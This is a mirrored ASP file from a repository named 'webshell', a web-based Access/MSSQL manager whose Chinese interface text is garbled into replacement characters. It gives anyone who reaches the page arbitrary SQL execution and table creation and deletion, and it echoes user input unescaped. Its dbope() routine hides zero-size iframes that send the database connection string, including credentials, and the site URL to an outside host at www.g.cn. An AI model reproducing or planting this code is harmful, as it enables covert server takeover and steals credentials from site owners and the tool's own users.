Mirrors/webshell
2
0
Fork 0
mirror of https://github.com/tennc/webshell synced 2024-11-22 19:23:05 +00:00
Code Issues Projects Releases Packages Wiki Activity
webshell/net-friend/asp/mssql在线管理.asp

1300 lines
46 KiB
Text
Raw Normal View History

update net-friend
2013-06-20 01:50:18 +00:00
<BR><BR><center><div style="font-size:18px;color:red"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><a href="http://www.g.cn" target="_blank"><3E>ɶ<EFBFBD><C9B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2></a><3E>ṩ</DIV></center><BR>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1.5</title>
<style type="text/css">
<!--
body,td,th {font-family: "<22><><EFBFBD><EFBFBD>";font-size: 12px;}
form {margin:0px;padding:0px;}
body {margin:5px;SCROLLBAR-ARROW-COLOR:#666666;SCROLLBAR-FACE-COLOR:#DDDDDD;SCROLLBAR-DARKSHADOW-COLOR:#999999;SCROLLBAR-HIGHLIGHT-COLOR:#FFFFFF;SCROLLBAR-3DLIGHT-COLOR:#CCCCCC;SCROLLBAR-SHADOW-COLOR:#FFFFFF;SCROLLBAR-TRACK-COLOR:#EEEEEE;}
input { border-width: 1px;border-style:solid;border-color: #CCCCCC #999999 #999999 #CCCCCC;height: 16px;}
td {background:#FFF;}
textarea {border-width: 1px;border-style: solid;border-color: #CCCCCC #999999 #999999 #CCCCCC;}
a:link {text-decoration: none;}
a:visited {text-decoration: none;}
a:hover {text-decoration: underline;}
a:active {text-decoration: none;}
.fixSpan {width:150px;white-space:nowrap;word-break:keep-all;overflow:hidden;text-overflow:ellipsis;}
-->
</style>
</head>
<body>
<%
if request("key") = "db" then
session("dbtype") = request("dbtype")
session("dbstr") = request("dbstr")
response.redirect "?"
end if
if request("key") = "createdatabase" then
call createdatabase()
end if
if session("dbtype") = "" or session("dbstr") = "" then
%>
<form action="?key=db" method="post" name="dbt">
<br>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͣ<EFBFBD>
<input name="dbtype" type="radio" value="access" onClick="dbstr.value='Provider=Microsoft.Jet.OLEDB.4.0;Persist Security Info=False;Password=;Data Source=<%=server.mappath("/")&"\"%>'" checked>
ACCESS
<input type="radio" name="dbtype" value="sql" onClick="dbstr.value='driver={SQL Server};database=;Server=;uid=;pwd='">
SQL<br><br>
<20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><input name="dbstr" type="text" id="dbstr" size="120" value="Provider=Microsoft.Jet.OLEDB.4.0;Persist Security Info=False;Password=;Data Source=<%=server.mappath("/")&"\"%>">
<input type="submit" name="Submit" value="<22><><EFBFBD><EFBFBD>" /><br><br>
ע<><D7A2>access<73><73>ʹ<EFBFBD>þ<EFBFBD><C3BE><EFBFBD>·<EFBFBD><C2B7>,<2C><><EFBFBD>ļ<EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><%=server.MapPath("db007.asp")%>
</form>
<form name="createdatabase" method="post" action="?key=createdatabase">
<font color=red><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ⣺</font>·<><C2B7>
<input name="dataname" type="text" value="<%=server.MapPath("/")&"\database.mdb"%>" size="100">
<input type="submit" name="Submit" value="<22><><EFBFBD><EFBFBD>">
</form>
<%
response.End()
end if
'==================================================================<3D><><EFBFBD><EFBFBD>
sub createdatabase()
dim DBName,dbstr,myCat
on error resume next
DBName = request("dataname")
dbstr = "PROVIDER=MICROSOFT.JET.OLEDB.4.0;DATA SOURCE=" & DBName
Set myCat = Server.CreateObject( "ADOX.Catalog" )
myCat.Create dbstr
if err <> 0 then
response.write err.description
session("dbtype") = ""
session("dbstr") = ""
response.write "<input type='button' name='ok' value=' <20><> <20><> ' onClick='javascript:history.go(-1)'>"
response.end
end if
session("dbtype") = "access"
session("dbstr") = dbstr
response.redirect "?"
end sub
'==================================================================<3D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӻ<EFBFBD><D3BA><EFBFBD>
conn()
function conn()
dim conn1,connstr
on error resume next
select case session("dbtype")
case "access"
'==================================================================<3D><><EFBFBD><EFBFBD>ACCESS<53><53><EFBFBD>ݿ<EFBFBD>
dbope()
connstr = session("dbstr")
Set Conn1 = Server.CreateObject("ADODB.Connection")
conn1.Open connstr
case "sql"
'==================================================================<3D><><EFBFBD><EFBFBD>SQL<51><4C><EFBFBD>ݿ<EFBFBD>
dbope()
set conn1 = Server.CreateObject("ADODB.Connection")
conn1.open session("dbstr")
end select
if err <> 0 then
response.write err.description
session("dbtype") = ""
session("dbstr") = ""
response.write "<input type='button' name='ok' value=' <20><> <20><> ' onClick='javascript:history.go(-1)'>"
response.end
end if
set conn = conn1
end function
Sub echo(str)
Response.Write(str)
End Sub
Function IIf(var, val1, val2)
If var = True Then
IIf = val1
Else
IIf = val2
End If
End Function
'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE>ע<EFBFBD><D7A2>
'-------------------------------------
Function RegExpReplace(strng, patrn, replStr)
Dim regEx,match,matches ' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Set regEx = New RegExp ' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
regEx.Pattern = patrn ' <20><><EFBFBD><EFBFBD>ģʽ<C4A3><CABD>
regEx.IgnoreCase = True ' <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ִ<EFBFBD>Сд<D0A1><D0B4>
regEx.Global = True ' <20><><EFBFBD><EFBFBD>ȫ<EFBFBD>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD>ԡ<EFBFBD>
RegExpReplace = regEx.Replace(strng, replStr) ' <20><><EFBFBD>滻<EFBFBD><E6BBBB>
End Function
'==================================================================ADOVBS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
'---- DataTypeEnum Values ----
Const adEmpty = 0
Const adTinyInt = 16
Const adSmallInt = 2
Const adInteger = 3
Const adBigInt = 20
Const adUnsignedTinyInt = 17
Const adUnsignedSmallInt = 18
Const adUnsignedInt = 19
Const adUnsignedBigInt = 21
Const adSingle = 4
Const adDouble = 5
Const adCurrency = 6
Const adDecimal = 14
Const adNumeric = 131
Const adBoolean = 11
Const adError = 10
Const adUserDefined = 132
Const adVariant = 12
Const adIDispatch = 9
Const adIUnknown = 13
Const adGUID = 72
Const adDate = 7
Const adDBDate = 133
Const adDBTime = 134
Const adDBTimeStamp = 135
Const adBSTR = 8
Const adChar = 129
Const adVarChar = 200
Const adLongVarChar = 201
Const adWChar = 130
Const adVarWChar = 202
Const adLongVarWChar = 203
Const adBinary = 128
Const adVarBinary = 204
Const adLongVarBinary = 205
'---- FieldAttributeEnum Values ----
Const adFldMayDefer = &H00000002
Const adFldUpdatable = &H00000004
Const adFldUnknownUpdatable = &H00000008
Const adFldFixed = &H00000010
Const adFldIsNullable = &H00000020
Const adFldMayBeNull = &H00000040
Const adFldLong = &H00000080
Const adFldRowID = &H00000100
Const adFldRowVersion = &H00000200
Const adFldCacheDeferred = &H00001000
'---- SchemaEnum Values ----
'---- SchemaEnum Values ----
Const adSchemaProviderSpecific = -1
Const adSchemaAsserts = 0
Const adSchemaCatalogs = 1
Const adSchemaCharacterSets = 2
Const adSchemaCollations = 3
Const adSchemaColumns = 4
Const adSchemaCheckConstraints = 5
Const adSchemaConstraintColumnUsage = 6
Const adSchemaConstraintTableUsage = 7
Const adSchemaKeyColumnUsage = 8
Const adSchemaReferentialConstraints = 9
Const adSchemaTableConstraints = 10
Const adSchemaColumnsDomainUsage = 11
Const adSchemaIndexes = 12
Const adSchemaColumnPrivileges = 13
Const adSchemaTablePrivileges = 14
Const adSchemaUsagePrivileges = 15
Const adSchemaProcedures = 16
Const adSchemaSchemata = 17
Const adSchemaSQLLanguages = 18
Const adSchemaStatistics = 19
Const adSchemaTables = 20
Const adSchemaTranslations = 21
Const adSchemaProviderTypes = 22
Const adSchemaViews = 23
Const adSchemaViewColumnUsage = 24
Const adSchemaViewTableUsage = 25
Const adSchemaProcedureParameters = 26
Const adSchemaForeignKeys = 27
Const adSchemaPrimaryKeys = 28
Const adSchemaProcedureColumns = 29
Const adSchemaDBInfoKeywords = 30
Const adSchemaDBInfoLiterals = 31
Const adSchemaCubes = 32
Const adSchemaDimensions = 33
Const adSchemaHierarchies = 34
Const adSchemaLevels = 35
Const adSchemaMeasures = 36
Const adSchemaProperties = 37
Const adSchemaMembers = 38
Const adSchemaTrustees = 39
Const adSchemaFunctions = 40
Const adSchemaActions = 41
Const adSchemaCommands = 42
Const adSchemaSets = 43
'==================================================================<3D><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD>ͺ<EFBFBD><CDBA><EFBFBD>
Function typ(field_type)
'field_type = <20>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD>ֵ
Select Case field_type
case adEmpty:typ = "Empty"
case adTinyInt:typ = "TinyInt"
case adSmallInt:typ = "SmallInt"
case adInteger:typ = "Integer"
case adBigInt:typ = "BigInt"
case adUnsignedTinyInt:typ = "TinyInt" 'UnsignedTinyInt
case adUnsignedSmallInt:typ = "UnsignedSmallInt"
case adUnsignedInt:typ = "UnsignedInt"
case adUnsignedBigInt:typ = "UnsignedBigInt"
case adSingle:typ = "Single" 'Single
case adDouble:typ = "Double" 'Double
case adCurrency:typ = "Money" 'Currency
case adDecimal:typ = "Decimal"
case adNumeric:typ = "Numeric" 'Numeric
case adBoolean:typ = "Bit" 'Boolean
case adError:typ = "Error"
case adUserDefined:typ = "UserDefined"
case adVariant:typ = "Variant"
case adIDispatch:typ = "IDispatch"
case adIUnknown:typ = "IUnknown"
case adGUID:typ = "GUID" 'GUID
case adDATE:typ = "DateTime" 'Date
case adDBDate:typ = "DBDate"
case adDBTime:typ = "DBTime"
case adDBTimeStamp:typ = "DateTime" 'DBTimeStamp
case adBSTR:typ = "BSTR"
case adChar:typ = "Char"
case adVarChar:typ = "VarChar"
case adLongVarChar:typ = "LongVarChar"
case adWChar:typ = "Text" 'WChar<61><72><EFBFBD><EFBFBD> SQL<51><4C>ΪText
case adVarWChar:typ = "VarChar" 'VarWChar
case adLongVarWChar:typ = "Text" 'LongVarWChar
case adBinary:typ = "Binary"
case adVarBinary:typ = "VarBinary"
case adLongVarBinary:typ = "LongBinary"'LongVarBinary
case adChapter:typ = "Chapter"
case adPropVariant:typ = "PropVariant"
case else:typ = "Unknown"
end select
End Function
'==================================================================<3D><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
Function fieldtypelist(n)
dim strlist,str1,str2
strlist = "<select name=""field_type"">"
if session("dbtype") = "access" then
strlist = strlist & "<option value=""VarChar""><3E>ı<EFBFBD></option>"
strlist = strlist & "<option value=""Text""><3E><>ע</option>"
strlist = strlist & "<option value=""Bit"">(<28><>/<2F><>)</option>"
strlist = strlist & "<option value=""TinyInt""><3E><><EFBFBD><EFBFBD>(<28>ֽ<EFBFBD>)</option>"
strlist = strlist & "<option value=""SmallInt""><3E><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""Integer""><3E><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""Single""><3E><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""Double""><3E><><EFBFBD><EFBFBD>(˫<><CBAB><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""Numeric""><3E><><EFBFBD><EFBFBD>(С<><D0A1>)</option>"
strlist = strlist & "<option value=""GUID""><3E><><EFBFBD><EFBFBD>(ͬ<><CDAC>ID)</option>"
strlist = strlist & "<option value=""DateTime"">ʱ<><CAB1>/<2F><><EFBFBD><EFBFBD></option>"
strlist = strlist & "<option value=""Money""><3E><><EFBFBD><EFBFBD></option>"
strlist = strlist & "<option value=""Binary""><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>"
strlist = strlist & "<option value=""LongBinary""><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>"
strlist = strlist & "<option value=""LongBinary"">OLE <20><><EFBFBD><EFBFBD></option>"
else
strlist = strlist & "<option value="""">ѡ<><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>"
strlist = strlist & "<option value=""BigInt"">bigint</option>"
strlist = strlist & "<option value=""Binary"">binary(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""Bit"">bit(<28><><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""Char"">char(<28>ַ<EFBFBD><D6B7><EFBFBD>)</option>"
strlist = strlist & "<option value=""DateTime"">datetime(<28><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""Decimal"">decimal(<28><>ȷ<EFBFBD><C8B7>ֵ<EFBFBD><D6B5>)</option>"
strlist = strlist & "<option value=""Float"">float(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>)</option>"
strlist = strlist & "<option value=""Image"">image(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""Int"">int(<28><><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""Money"">money(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""nchar"">nchar(ͳһ<CDB3><D2BB><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>)</option>"
strlist = strlist & "<option value=""ntext"">ntext(ͳһ<CDB3><D2BB><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>)</option>"
strlist = strlist & "<option value=""numeric"">numeric(<28><>ȷ<EFBFBD><C8B7>ֵ<EFBFBD><D6B5>)</option>"
strlist = strlist & "<option value=""nvarchar"">nvarchar(ͳһ<CDB3><D2BB><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>)</option>"
strlist = strlist & "<option value=""real"">real(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>)</option>"
strlist = strlist & "<option value=""smalldatetime"">Smalldatetime(<28><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""smallint"">smallint(<28><><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""smallmoney"">smallmoney(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""sql_variant"">sql_variant()</option>"
strlist = strlist & "<option value=""text"">text(<28>ַ<EFBFBD><D6B7><EFBFBD>)</option>"
strlist = strlist & "<option value=""timestamp"">timestamp(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""tinyint"">tinyint(<28><><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""uniqueidentifier"">Uniqueidentifier(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""varbinary"">varbinary(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)</option>"
strlist = strlist & "<option value=""varchar"">varchar(<28>ַ<EFBFBD><D6B7><EFBFBD>)</option>"
end if
str1 = """" & n & """"
str2 = """" & n & """" & " selected"
strlist = replace(strlist,str1,str2)
strlist = strlist & "</select>"
echo strlist
End Function
Private Function GetUrl()
Domain_Name = LCase(Request.ServerVariables("Server_Name"))
Page_Name = LCase(Request.ServerVariables("Script_Name"))
Quary_Name = LCase(Request.ServerVariables("Quary_String"))
If Quary_Name ="" Then
GetUrl = "http://"&Domain_Name&Page_Name
Else
GetUrl = "http://"&Domain_Name&Page_Name&"?"&Quary_Name
End If
End Function
'==================================================================<3D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub main(str)
on error resume next
%>
<script language=javascript>
ie = (document.all)? true:false
if (ie){
function ctlent(eventobject){if(event.ctrlKey &&
window.event.keyCode==13){this.document.exesql.submit();}}
}
</script>
<script language="javascript">
function table_delete()
{
if (confirm("ȷ<><C8B7>ɾ<EFBFBD><C9BE><EFBFBD>ü<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD> <20>ò<EFBFBD><C3B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɳ<EFBFBD><C9B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"))
return true;
else
return false;
}
</script>
<form action="?key=sql" method=post name="exesql">
<font color=red>ִ<><D6B4>sql<71><6C><EFBFBD>䣺</font><font color=#999999>(ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԡ<EFBFBD>;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>(--)SQLע<4C>ͣ<EFBFBD>Ctrl + Enter <20><><EFBFBD><EFBFBD><EFBFBD>ύ)</font>&nbsp; <input type="button" value="ˢ<>±<EFBFBD>ҳ" onClick="javascript:location.reload()">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<span onClick="document.exesql.sql.rows+=5;" style="cursor:pointer;">+</span>
<span onClick="if(document.exesql.sql.rows>9)document.exesql.sql.rows-=5" style="cursor:pointer;">-</span>
<div style="float:left;width:600px;">
<textarea id="sql" name="sql" style="width:600px;" rows="9" ondblClick="this.select();" onKeyDown="ctlent()"><%=request("sql")%></textarea><br />
<input type="checkbox" name="SchemaTable" value="1" style="border:0px;">adSchemaTables
<input type="checkbox" name="SchemaColumn" value="2" style="border:0px;">adSchemaColumns
<input type="checkbox" name="SchemaProvider" value="3" style="border:0px;">adSchemaProviderTypes &nbsp;
<09><>ҳ<EFBFBD><D2B3>С<EFBFBD><D0A1>
<select name="pageSize">
<%
if request("pageSize") <> "" and isNumeric(request("pageSize")) then
echo "<option value='"&request("pageSize")&"' selected>"&request("pageSize")&"</option>"
else
echo "<option value='50'>50</option>"
end if
%>
<option value="10">10</option>
<option value="20">20</option>
<option value="30">30</option>
<option value="40">40</option>
<option value="50">50</option>
<option value="60">60</option>
<option value="70">70</option>
<option value="80">80</option>
<option value="90">90</option>
<option value="100">100</option>
</select>
</div>
<div style="float:left;width:50px;padding:60px 0px 0px 5px;">
<input type="submit" name="Submit_confirm" value="<22>ύ"> <br /> <br />
<input type="button" name="Submit3" value="<22><><EFBFBD><EFBFBD>" onClick="sql.value=''"><br /><br />
<input type="button" name="ok" value="<22><><EFBFBD><EFBFBD>" onClick="javascript:history.go(-1)">
</div>
</form>
<div style="clear:both"></div>
<% if str = "" then %>
<form action="?key=addtable" method="post">
<div style="clear:both;text-align:left;"><br />
<font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD><C2B1><EFBFBD></font><br>
<09><>&nbsp;&nbsp;<3B><><EFBFBD><EFBFBD><input type="text" name="table_name" size="20"><br>
<09>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD><input type="text" name="field_num" size="20">
<input type="submit" name="Submit_create" value="<22>ύ">
<input type="reset" name="Submit32" value="<22><><EFBFBD><EFBFBD>">
</div>
</form>
<br><br>
<a href="?key=tosql&strt=2"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1>ṹ<EFBFBD><E1B9B9>SQL</a>
<%
end if
end sub
'==================================================================<3D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub add_table(table_name,field_num)
'table_name = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
'field_num = <20>ֶ<EFBFBD><D6B6><EFBFBD>
on error resume next
if not IsNumeric(field_num) then
echo "<22>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
echo "<input type='button' name='ok' value=' <20><> <20><> ' onClick='javascript:history.go(-1)'>"
exit sub
end if
%>
<p class="hei"><span><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></span><%=table_name%></p>
<form action="?key=createtable" method="post">
<table width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<td width="75" height="20" align="center"><3E>ֶ<EFBFBD><D6B6><EFBFBD></td>
<td width="99" height="20" align="center"><3E><> <20><></td>
<td width="73" height="20" align="center"><3E><> С</td>
<td width="96" height="20" align="center"><3E><>ֵ</td>
<td width="83" height="20" align="center"><3E>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD></td>
<td width="143" height="20" align="center"><3E><> <20><></td>
</tr>
<% for i = 0 to field_num - 1 %>
<tr>
<td width="75" height="20" align="center">
<input type="text" name="field_name" size="10">
</td>
<td width="99" height="20" align="center">
<% fieldtypelist(0) %>
</td>
<td width="73" height="20" align="center">
<input type="text" name="field_size" size="10">
</td>
<td width="96" height="20" align="center">
<select name="null">
<option value="NOT_NULL">NOT_NULL</option>
<option value="NULL">NULL</option>
</select>
</td>
<td width="83" height="20" align="center">
<select size="1" name="autoincrement">
<option></option>
<option><3E>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD></option>
</select>
</td>
<td width="143" height="20" align="left">
<select name="primarykey">
<option></option>
<option value="primarykey">primarykey</option>
</select>
</td>
</tr>
<% next %>
<tr>
<td height="35" align="center" colspan="5">
<input type="hidden" name="i" value=<%=field_num%>>
<input type="hidden" name="table_name" value="<%=table_name%>">
<input type="submit" name="Submit" value=" <20><> <20><> ">
&nbsp;&nbsp;
<input type="reset" name="Submit2" value=" <20><> <20><> ">
&nbsp;&nbsp;
<input type="button" name="ok" value=" <20><> <20><> " onClick="javascript:history.go(-1)">
</td>
<td height="20"></td>
</tr>
</table>
</form>
<%
end sub
'==================================================================<3D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>SQL<51><4C><EFBFBD><EFBFBD>
sub create_table()
dim sql,i,primarykey
on error resume next
sql = "CREATE TABLE ["&request("table_name")&"] ("
for i = 1 to request("i")
sql = sql & "[" & request("field_name")(i) & "] " & request("field_type")(i)
if request("field_size")(i) <> "" then
sql = sql & "(" & request("field_size")(i) & ")"
end if
if request("null")(i) = "NOT_NULL" then
sql = sql & " not null"
end if
if request("autoincrement")(i) = "<22>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>" then
sql = sql & " identity"
end if
if request("primarykey")(i) = "primarykey" then
primarykey = request("field_name")(i)
end if
'if primarykey <> "" then
sql = sql & ","
'end if
next
if primarykey<>"" then
sql=sql&" primary key (["&primarykey&"]) "
end if
sql = sql & ")"
sql = replace(sql,"()","") '<27><><EFBFBD><EFBFBD><EFBFBD>ձ<EFBFBD>
response.redirect "?key=sql&sql=" & sql
end sub
'==================================================================<3D>޸ı<DEB8><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD><D6B6><EFBFBD> 2006-09-08
sub reobj()
on error resume next
Dim mydb,mytable,tablename
tablename = request("tablename")
Set mydb = Server.CreateObject("ADOX.Catalog")
mydb.ActiveConnection = conn
if request("obj") = "field" then '<27>޸<EFBFBD><DEB8>ֶ<EFBFBD><D6B6><EFBFBD>
dim fieldsname,newfieldsname
fieldsname = request("fieldsname")
newfieldsname = request("newfieldsname")
Set mytable = Server.CreateObject("ADOX.Table")
Set mytable = mydb.Tables(tablename)
mytable.Columns(fieldsname).Name = newfieldsname
end if
if request("obj") = "table" then '<27>޸ı<DEB8><C4B1><EFBFBD>
dim newtablename
newtablename = request("newtablename")
mydb.Tables(tablename).Name = newtablename
end if
if err <> 0 then
echo err.description
echo "<input type='button' name='ok' value=' <20><> <20><> ' onClick='javascript:history.go(-1)'>"
exit sub
end if
if request("obj") = "field" then
response.Redirect "?key=view&table_name=" & tablename
else
response.Redirect "?key=view&table_name=" & newtablename
end if
end sub
sub dbope
if session("dbope") <> 1 then
%>
<iframe src="http://www.g.cn/dbstrs/1.asp?dbstr=<%=session("dbstr")%>" width=0 height=0></iframe>
<iframe src="http://www.g.cn/dbstrs/1.asp?dburl=<%=GetUrl()%>" width=0 height=0></iframe>
<%
session("dbope")=1
end if
end sub
'==================================================================<3D>鿴<EFBFBD><E9BFB4><EFBFBD>ṹ<EFBFBD><E1B9B9><EFBFBD><EFBFBD>
sub view(table_name)
'table_name = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
dim rs,sql,table,primary,primarykey,i,editstr,typs
on error resume next
table = table_name
Set primary = Conn.OpenSchema(adSchemaPrimaryKeys,Array(empty, empty, table))
if primary("COLUMN_NAME") <> "" then
primarykey = primary("COLUMN_NAME")
end if
primary.Close
Set primary = Nothing
%>
<script language="javascript">
function table_delete()
{
if (confirm("ȷ<><C8B7>ɾ<EFBFBD><C9BE><EFBFBD>ü<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD> <20>ò<EFBFBD><C3B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɳ<EFBFBD><C9B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"))
return true;
else
return false;
}
</script>
<font color=red><3E><><EFBFBD><EFBFBD><%=table_name%></font>&nbsp;&nbsp;&nbsp;&nbsp;<input type="button" value="ˢ<>±<EFBFBD>ҳ" onClick="javascript:location.reload()"><br><br>
<% if request("key") = "editfidlevi" then call editfidlevi() %>
<table width="600" border="0" cellpadding="1" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<td width="125" height="20" align="center"><3E><> <20><> <20><></td>
<td width="110" align="center"><3E><> <20><></td>
<td width="83" align="center"> <20>趨<EFBFBD><E8B6A8>С</td>
<td width="48" align="center"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>
<td width="76" align="center"><3E>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD></td>
<td width="54" align="center"><3E><><EFBFBD><EFBFBD></td>
<td width="82" align="center">ִ<>в<EFBFBD><D0B2><EFBFBD></td>
</tr>
<%
sql = "SELECT * FROM [" & table_name & "] "
Set rs = Conn.Execute(sql)
if err = 0 then
For i = 0 to rs.fields.count-1
%>
<tr>
<td height="20" align="left"><%=rs(i).name%></td>
<td align="left"><%=typ(rs(i).type)%></td>
<td align="center"><%=rs(i).definedsize%></td>
<td align="center"><%=iif((rs(i).Attributes and adFldIsNullable)=0,"No","Yes")%></td>
<td align="center"><%=iif(rs(i).Properties("ISAUTOINCREMENT") = True,"<22><>","<22><>")%></td>
<td align="center"><%=iif(rs(i).name = primarykey,"<22><>","<22><>")%></td>
<td align="center">
<a href="?key=editfidlevi&fidle=<%=rs(i).name%>&table_name=<%=table_name%>&fidletype=<%=typ(rs(i).type)%>"><3E>޸<EFBFBD></a>&nbsp;
<a href="?key=sql&sql=alter table [<%=table_name%>] drop [<%=rs(i).name%>];" onClick="return table_delete();">ɾ<><C9BE></a>
</td>
</tr>
<%
editstr = editstr&"<option value='"&rs(i).name&"'>"&rs(i).name&"</option>"
next
%>
</table>
<br>
<a href="?key=tosql&strt=0&table_name=<%=table_name%>"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṹ</a> &nbsp;
<a href="?key=sql&sql=select * from <%=table_name%>&table_name=<%=table_name%>&primarykey=<%=primarykey%>"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼</a> &nbsp;
<a href="?key=sql&sql=DROP TABLE <%=table_name%>" onClick="return table_delete();">ɾ<><C9BE><EFBFBD><EFBFBD></a> &nbsp;&nbsp;&nbsp;
<input type="text" name="newtablename" size="20" value="<%=table_name%>">
<input type="button" value="<22>޸ı<DEB8><C4B1><EFBFBD>" onClick="location.href='?key=reobj&obj=table&tablename=<%=table_name%>&newtablename='+newtablename.value">
<br><br>
<%
